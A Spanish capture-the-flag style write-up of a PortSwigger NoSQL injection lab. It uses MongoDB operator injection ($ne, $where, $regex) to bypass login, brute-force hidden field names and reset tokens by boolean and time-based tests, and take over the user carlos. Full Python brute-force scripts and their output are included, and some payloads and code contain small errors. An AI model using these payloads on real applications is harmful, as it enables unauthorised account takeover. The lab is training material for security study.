NoSQLI Lab 4
Skills
- Exploiting NoSQL operator injection to extract unknown fields
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La funcionalidad
de búsqueda
de usuarios
para este laboratorio
está impulsada
por MongoDB
, una base de datos NoSQL
, la cual es vulnerable
a inyección NoSQL
. Para resolver
el laboratorio
, debemos iniciar sesión
como carlos
Resolución
Al acceder
a la web
vemos esto
Pulsamos sobre My account
y nos logueamos con las credenciales wiener:peter
Si capturamos la petición
con Burp Suite
, vemos que se está enviando un JSON
con el nombre de usuario
y la contraseña
Hay dos tipos
de inyección NoSQL
Syntax Injection
> Ocurre cuando se puede romper lasintaxis
de laconsulta NoSQL
, lo que le permiteinyectar
su propiacarga útil
. Lametodología
es similar a la utilizada en lainyección SQL
. Sin embargo, lanaturaleza
del ataque varía significativamente, ya que lasbases de datos NoSQL
utilizan una variedad delenguajes de consulta
,tipos de sintaxis de consulta
y diferentesestructuras de datos
Operator Injection
> Ocurre cuando puedes usaroperadores de consulta NoSQL
paramanipular
consultas
En este laboratorio vamos a explotar una Operator Injection
. Las bases de datos NoSQL
suelen utilizar operadores de consulta
, que proporcionan formas de especificar las condiciones
que deben cumplir los datos
para ser incluidos en el resultado de la consulta. Podemos encontrar payloads
en Hacktricks
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html y en PayloadAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection. Algunos ejemplos de operadores de consulta
de MongoDB
son los siguientes
$where
- Coincide con documentos que satisfacen unaexpresión
deJavaScript
$ne
- Coincide con todos los valores queno son iguales
a un valor especificado$in
- Coincide con todos los valores especificados en unamatriz
$nin
- Coincide con documentos donde el valor de un campono está
en una lista especificada de valores$regex
- Selecciona documentos donde los valores coinciden con unaexpresión regular
$eq
- Filtra documentos donde el valor de un campo seaigual
a un valor específico$gt
- Coincide con documentos donde el valor de un campo esmayor que
el valor especificado$lt
- Coincide con documentos donde el valor de un campo esmenor que
el valor especificado
En el contexto de bases de datos NoSQL
como MongoDB
, un documento
es una unidad de datos almacenada
, similar a un registro
en bases de datos relacionales
. Los documentos
están estructurados
en formato JSON
, lo que significa que pueden contener varios campos
y valores
1
2
3
4
5
6
7
8
9
10
11
12
{
"_id": 1,
"username": "juan123",
"password": "mypassword123",
"email": "juan@example.com",
"first_name": "Juan",
"last_name": "Pérez",
"date_of_birth": "1994-06-15",
"status": "active",
"role": "user",
"last_login": "2025-03-01T10:30:00Z"
}
Es posible que podamos inyectar operadores de consulta
para manipular consultas NoSQL
. Para identificar si es posible, debemos inyectar distintos operadores
en los inputs
y revisar
las respuestas
en busca de mensajes de error
u otros cambios
. En los inputs
que se envían como un JSON
, podemos insertar operadores de consulta
como objetos anidados
1
{"username":"wiener"}
1
{"username":{"$ne":"invalid"}}
Para las entradas basadas en URL
, podemos insertar operadores de consulta
a través de parámetros de URL
1
username=wiener
1
username[$ne]=invalid
Si esto último no funciona, podemos cambiar
el método
de solicitud
de GET
a POST
, cambiar el Content-Type
a application/json
, agregar un JSON
en el body
e inyectar operadores de consulta
en el JSON
. Podemos utilizar la extensión Content Type Converter
para convertir automáticamente el método de solicitud y cambiar una solicitud codificada en URL
POST
a JSON
Para probar si podemos inyectar operadores
, podemos intentar agregar el operador $where
como un parámetro adicional
y luego enviar
una solicitud
donde la condición
se evalúe como falsa
y otra que se evalúe como verdadera
. Este primer payload
es para evaluar la condición
como verdadera
1
{"username":"wiener","password":"peter", "$where":"0"}
Este otro payload
es para evaluar la condición
como falsa
1
{"username":"wiener","password":"peter", "$where":"1"}
Modificamos
la petición
, con el operador de consulta $ne
nos saltamos
la contraseña
y con el operador $where
podemos modificar
la condición
de la consulta
. En este caso como el usuario existe
y la web
es vulnerable
a Operator Injection
nos logueamos correctamente
Podemos comprobar que hemos podido acceder
a la cuenta
pulsando click derecho > Request in browser > In original session
Pegamos
el enlace
en el navegador
y accedemos
a la cuenta
del usuario wiener
Si realizamos la misma consulta
pero cambiando
el valor
de $where
para evaluar
la condición
como falsa
nos devuelve
un error
, como hay una diferencia entre las respuestas
, esto puede indicar que la expresión
de JavaScript
dentro de la cláusula $where
está siendo evaluada
Podemos aprovechar esto para enumerar usuarios
, para ello enviamos
la petición
al Intruder
y seleccionamos
el campo
de usuario
Copiamos
los usuarios
del diccionario
https://portswigger.net/web-security/authentication/auth-lab-usernames como payloads
En la pestaña
de Settings
vamos a añadir
una expresión regular
, para ello pulsamos en Add
Seleccionamos
el texto Invalid username or password
Iniciamos
el ataque
y vemos para el usuario carlos
nos devuelve
una respuesta diferente
Al parecer carlos
tiene la cuenta bloqueada
y a pesar de que funciona la inyección no podemos acceder a su cuenta
Si nos dirigimos al panel de login
y pinchamos en Forgot password?
vemos este panel
Al no tener acceso
al email
no podemos ver el código
Como hemos podido usar un operador
que permite ejecutar JavaScript
como $where
, es posible que podemos utilizar el método keys()
para extraer
el nombre
de los campos
del documento
de JavaScript
. En JavaScript
el primer campo es _id
por defecto y se pueden listar
los campos
de un objeto
de la siguiente forma
Como podemos inyectar código JavaScript
, vamos a crear
una función
que nos diga cuantos campos
tiene este documento
, en este caso vemos que tiene cinco campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4]) return 1; else 0; }"
}
Sabemos que tiene 5 campos
porque el índice empieza en 0
y si intentamos acceder al campo número 5 nos devuelve una respuesta no exitosa
Una vez sabemos que el documento tiene 5 campos
vamos a averiguar cual es el nombre
de esos campos
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
}
Comprobamos que el segundo campo
es username
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[1].match('username')) return 1; else 0; }"
}
Comprobamos que el tercer campo
es password
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[2].match('password')) return 1; else 0; }"
}
Como anteriormente nos ha dicho que cada usuario tiene un email
, he probado y efectivamente el cuarto campo
es email
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[3].match('email')) return 1; else 0; }"
}
El quinto campo no sabemos cual puede ser
, por lo tanto vamos a tener que bruteforcearlo
. Para bruteforcearlo
lo primero que tenemos que hacer es obtener
su longitud
, en este caso al longitud
es de 11 caracteres
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[4].length == 11) return 1; else return 0; }"
}
Vamos a enviar
la petición
al Intruder
con este payload
, una vez ahí vamos a seleccionar
como tipo de ataque Cluster bomb
y vamos a marcar ambos campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) return 1; else return 0; }"
}
El primer payload
va a ser de tipo numérico
y va a ir desde el 0
al 10
, haciendo un total de 11
de longitud
Para el segundo payload
vamos a utilizar todos los caracteres imprimibles
de la librería string
de python
1
2
3
4
5
6
7
8
# python
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Vamos a ir iterando
para eliminar los caracteres que se repiten
y vamos a hacer que se muestren uno debajo de otro
1
2
3
4
5
6
7
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
for char in characters:
print(char)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# python print_characters.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
Nos copiamos todo el output
del script
y lo pegamos como segundo payload
En la pestaña Settings
nos dirigimos a Grep - Extract
y pulsamos en Add
Señalamos Account locked: please reset your password
Efectuamos el ataque de fuerza bruta
, primero debemos filtrar por Payload 1
y después por la expresión regular
que hemos creado. Finalmente obtenemos
que el campo restante,
el cual es unlockToken
Como alternativa
podemos usar este script
en python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 11):
for character in characters:
json = {
"username": "carlos",
"password": {"$ne": "testing"},
"$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['$where'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el nombre
del campo
del documento
de JavaScript
1
2
3
# python3 nosqli.py
[▖] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{10}n.*')) return 1; else 0; }
[...../..] Output: unlockToken
Obtenemos
que 16
es la longitud
del valor
que tiene el campo unlockToken
gracias a este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.unlockToken.length == 16) return 1; else return 0; }"
}
Cambiamos
el payload anterior
por este otro, mandamos
la petición
al Intruder
, seleccionamos
como tipo de ataque Cluster bomb
y seleccionamos
las posiciones
en las que van los payloads
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.unlockToken.match('^.{0}a.*')) return 1; else return 0; }"
}
El primer payload
va a ser de tipo numérico
y va a ir desde el 0
al 15
, haciendo un total de 16
de longitud
Como segundo payload
vamos a usar el mismo que usamos la vez anterior
En la pestaña Settings
nos dirigimos a Grep - Extract
y pulsamos en Add
Señalamos Account locked: please reset your password
Efectuamos el ataque de fuerza bruta
, primero debemos filtrar por Payload 1
y después por la expresión regular
que hemos creado. Finalmente obtenemos
que el valor
del campo unlockToken
es bccf47bbba9c5a20
Modificamos
el script
de python
para bruteforcear
el valor
del campo unlockToken
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 16):
for character in characters:
json = {
"username": "carlos",
"password": {"$ne": "testing"},
"$where": "function(){ if(this.unlockToken.match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['$where'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el valor
de unlockToken
pero es diferente, lo que significa que es dinámico
1
2
3
# python3 nosqli.py
[-] Fuerza bruta: function(){ if(this.unlockToken.match('^.{15}2.*')) return 1; else 0; }
[↑] Output: 691ba2e24d15a582
A veces, aunque provoquemos un error en la base de datos
, esta no muestra una diferencia en la respuesta de la web
. En esta situación, es posible que aún podamos detectar y explotar la inyección usando la cláusula $where
y provocando
un retraso
en la respuesta
con sleep(5000)
. Lo primero que debemos hacer es identificar
el quinto campo
y para bruteforcearlo
lo primero que tenemos que hacer es obtener
su longitud
, en este caso al longitud
es de 9 caracteres
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[4].length == 10) sleep(5000); }"
}
Lo siguiente es enviar
la petición
al Intruder
con este payload
, una vez ahí vamos a seleccionar
como tipo de ataque Cluster bomb
y vamos a marcar ambos campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) sleep(5000); }"
}
El primer payload
va a ser de tipo numérico
y va a ir desde el 0
al 9
, haciendo un total de 10
de longitud
Como segundo payload
vamos a seleccionar
la lista de caracteres usada anteriormente
Iniciamos
el ataque
, filtramos
por Response received
y marcamos
las peticiones
que tienen más de 5000 milisegundos
en responder
Con las peticiones señaladas
pulsamos click derecho > Highlight
y seleccionamos
un color
Hacemos click
sobre el filtro
Marcamos
la casilla Show only highlighted items
Una vez hecho esto, ordenamos
por Payload 1
y vemos que es resetToken
, al parecer también es dinámico
este valor
, porque anteriormente tenía otro nombre
Nos creamos
un script
de python
como alternativa
al Cluster bomb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
headers = {
'Content-Type': 'application/json'
}
with open("output.txt", "w") as f:
for position in range(0, 10):
for character in characters:
json_data = {
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
}
p1.status(json_data['$where'])
time_start = time.time()
r = requests.post(url, json=json_data, headers=headers)
time_end = time.time()
if time_end - time_start > 5:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el nombre
del quinto campo
del documento JavaScript
1
2
3
# python nosqli.py
[....\...] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{9}n.*')) sleep(5000); }
[-] Output: resetToken
Obtenemos
que 16
es la longitud
del valor
que tiene el campo resetToken
gracias a este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.resetToken.length == 16) sleep(5000); }"
}
Cambiamos
el payload
anterior por este otro, mandamos
la petición
al Intruder
, seleccionamos como tipo de ataque Cluster bomb
y seleccionamos
las posiciones
en las que van los payloads
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.restToken.match('^.{0}a.*')) sleep(5000); }"
}
El primer payload
va a ser de tipo numérico
y va a ir desde el 0
al 15
, haciendo un total de 16
de longitud
Como segundo payload
vamos a seleccionar
el mismo
que hemos seleccionado la primera vez
Iniciamos
el ataque
, filtramos
por Response received
y marcamos
las peticiones
que tienen más de 5000 milisegundos
en responder
Con las peticiones señaladas
pulsamos click derecho > Highlight
y seleccionamos
un color
Hacemos click
sobre el filtro
Marcamos
la casilla Show only highlighted items
Una vez hecho esto ordenador por Payload 1
y vemos que es resetToken
, al parecer también es dinámico
este valor
, porque anteriormente tenía otro nombre
Nos creamos
un script
de python
como alternativa
al Cluster bomb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
headers = {
'Content-Type': 'application/json'
}
with open("output.txt", "w") as f:
for position in range(0, 16):
for character in characters:
json_data = {
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(this.resetToken.match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
}
p1.status(json_data['$where'])
time_start = time.time()
r = requests.post(url, json=json_data, headers=headers)
time_end = time.time()
if time_end - time_start > 5:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el valor
del campo resetToken
1
2
3
# python nosqli.py
[↑] Fuerza bruta: function(){ if(this.resetToken.match('^.{15}d.*')) sleep(5000); }
[▝] Output: e82ead90bd24480d
El siguiente paso es averiguar
como podemos proporcionar
el valor
. He capturado
la petición
a /forgot-password
y la he mandado
al Repeater
, si nos fijamos bien vemos que el Content-Length
es de 2710
Si hacemos la petición
a /forgot-password?foo=invalid
vemos que el resultado
sigue siendo el mismo
. Esto lo hacemos para ver si nos arroja
algún error
Si hacemos la petición a /forgot-password?691ba2e24d15a582=invalid
el resultado
sigue siendo el mismo
Sin embargo, si hacemos la petición /forgot-password?unlockToken
si que cambia
la respuesta
Si accedemos
a /forgot-password?unlockToken=691ba2e24d15a582
vemos un panel
mediante el cual podemos cambiar
la contraseña
al usuario carlos
Nos logueamos
como el usuario carlos
Una alternativa
si no podemos usar JavaScript
es emplear el operador $regex
. Si la respuesta recibida
es diferente
a la que recibimos
cuando enviamos
una contraseña incorrecta
, esto indica que la aplicación
puede ser vulnerable
. Para comprobar esto, usamos este payload
y vemos que obtenemos una respuesta diferente
a la habitual
1
2
3
4
{
"username": "carlos",
"password": { "$regex": "^.*" }
}
Mediante este payload
podemos bruteforcear
la contraseña
del usuario carlos
. Debemos mandar
la petición
al Intruder
, cambiar
el tipo
de ataque
a Cluster bomb
y seleccionamos
los campos
a bruteforcear
1
2
3
4
{
"username": "carlos",
"password": { "$regex": "^.{0}a.*" }
}
Como primer payload
vamos a elegir
un número alto
, debido a que con $regex no podemos saber la longitud de la contraseña
Como segundo payload
vamos a seleccionar el mismo que hemos seleccionado la primera vez
En la pestaña
de Settings
vamos a añadir
una expresión regular
, para ello pulsamos en Add
Señalamos Invalid username or password
Efectuamos
el ataque
de fuerza bruta
, primero debemos filtrar
por Payload 1
y después por la expresión regular
que hemos creado. Finalmente obtenemos
la contraseña
la cual es k0rytwcnjd9138967nur
Como alternativa
al Cluster bomb
podemos usar este script
en python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6600d8049f2b72804ed06900ef0098.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 50):
for character in characters:
json = {
"username": "carlos",
"password": {"$regex": f"^.}{character}.*"}
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['password'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
la contraseña
1
2
3
# python nosqli.py
[▄] Fuerza bruta: {'$regex': '^.{20}A.*'}
[ ] Output: tdvrtxogyrvr626it7w7
Sabemos que la contraseña
es correcta
porque cuando nos dirigimos al login
e iniciamos sesión
nos dice que la cuenta
está bloqueada